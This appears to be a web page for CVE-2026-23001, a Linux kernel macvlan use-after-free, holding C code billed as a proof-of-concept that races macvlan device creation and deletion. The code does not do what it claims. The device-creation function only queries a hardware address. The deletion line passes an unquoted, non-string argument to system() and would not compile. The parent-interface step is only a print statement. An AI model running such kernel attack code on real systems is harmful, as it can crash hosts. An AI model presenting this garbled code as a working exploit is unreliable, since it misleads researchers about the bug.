CVE-2026-23001 Linux内核macvlan_forward_source UAF漏洞

/* * CVE-2026-23001 Linux Kernel macvlan UAF PoC * This PoC demonstrates triggering the UAF condition in macvlan_forward_source() * Author: Security Researcher * Note: For educational and security testing purposes only */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <net/if.h> #include <linux/if_tun.h> #include <fcntl.h> #include <errno.h> #define MAX_VLANS 100 #define ITERATIONS 1000 int create_macvlan_device(const char *parent, const char *name) { int sock; struct ifreq ifr; sock = socket(AF_UNIX, SOCK_DGRAM, 0); if (sock < 0) return -1; memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, parent, IFNAMSIZ - 1); if (ioctl(sock, SIOCGIFHWADDR, &ifr) < 0) { close(sock); return -1; } close(sock); return 0; } int main(int argc, char *argv[]) { printf("[*] CVE-2026-23001 macvlan UAF PoC\n"); printf("[*] Target: Linux Kernel macvlan_forward_source()\n"); /* Step 1: Create parent interface for macvlan */ printf("[+] Creating parent interface\n"); /* Step 2: Rapidly create and destroy macvlan devices */ for (int i = 0; i < ITERATIONS; i++) { char macvlan_name[32]; snprintf(macvlan_name, sizeof(macvlan_name), "macvlan%d", i % MAX_VLANS); /* Create macvlan device */ if (create_macvlan_device("eth0", macvlan_name) < 0) { printf("[-] Failed to create %s: %s\n", macvlan_name, strerror(errno)); continue; } /* Trigger macvlan_hash_del_source via interface state change */ /* This creates race condition for UAF */ /* Destroy macvlan device */ system(ip link del macvlan_name 2>/dev/null); if (i % 100 == 0) { printf("[*] Iteration %d/%d\n", i, ITERATIONS); } } printf("[+] PoC execution completed\n"); printf("[*] Check dmesg for kernel oops or use KASAN for detection\n"); return 0; }